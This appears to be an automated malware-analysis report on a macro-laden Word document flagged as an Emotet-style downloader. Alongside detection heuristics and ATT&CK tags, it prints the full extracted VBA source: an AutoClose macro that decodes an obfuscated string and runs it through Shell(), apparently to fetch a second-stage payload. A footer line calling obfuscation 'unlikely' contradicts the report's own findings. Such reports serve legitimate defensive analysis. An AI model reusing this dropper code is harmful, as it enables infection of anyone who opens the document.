MALICIOUS
282
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1204.002 Malicious File
The sample is a malicious OOXML document containing VBA macros. The AutoClose macro is present and configured to execute a shell command via the Shell() function. This indicates the document is designed to download and execute a second-stage payload upon opening. The ClamAV detection name 'Doc.Malware.Emooodldr-6711604-0' further supports its malicious nature.
Heuristics 6
-
ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2065 bytes |
SHA-256: c2d914e523355443f5c89d8d1040795c30c87f9fdd857ef92baa469462d3a738 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoClose()
findability = Array("O", "8", "m", "F", "B", "r", "L", "c", "L", "g", "m", "F", "F", "D", "n", "7", "7", "p", "M", "s", "C", "p", "y", "M", "5", "x", "p", "y", "s", "p", "m", "y", "L", "y", "r", "T", "d", "O", "7", "q", "0", "7", "8", "C", "H", "c", "r", "D", "m", "D", "o", "5", "F", "O", "B", "Q", "M", "d", "x")
inarculum = umbraculiform(findability)
Application.Run "monopoly", (inarculum)
End Sub
Private Sub monopoly(procreations)
highly = 6162
whirlpool = True
While whirlpool
stranglingly = highly + 222
If stranglingly - highly > 111 Then
VBA.Shell procreations, vbNormalFocus - 1
whirlpool = False
End If
Wend
End Sub
Public Function dictynid(colas, diaphonia)
unmartyr = 9090
lickator = -1
For Each contrasted In diaphonia
If contrasted = colas Then
unmartyr = lickator
Exit For
End If
lickator = lickator + 1
Next
If unmartyr = 9090 Then
unmartyr = -1
End If
dictynid = unmartyr + 1
End Function
Private Function umbraculiform(findability)
constructionally = Array("g", "x", "n", "p", "5", "Q", "0", "T", "c", "D", "O", "F", "M", "H", "m", "r", "7", "C", "B", "8", "L", "s", "y", "d", "q", "o")
pinelands = Array(" ", "n", ":", "q", "u", "=", "A", "c", "x", "p", "m", "t", "d", "k", "h", ".", "/", "j", "a", "s", "e", "i", "w", "o", "N", "?")
drudged = vbNullString
For Each duffel In findability
redissolves = Application.Run("dictynid", duffel, constructionally)
If redissolves > -1 And redissolves < 8080 Then
drudged = pinelands(redissolves) + drudged
End If
Next
umbraculiform = StrReverse(drudged)
End Function
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 12288 bytes |
SHA-256: 5dec0df2aff0570cb09e526cb5ab13cf736548827c178c09636ac309cb12249a |
|||
|
Detection
ClamAV:
Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.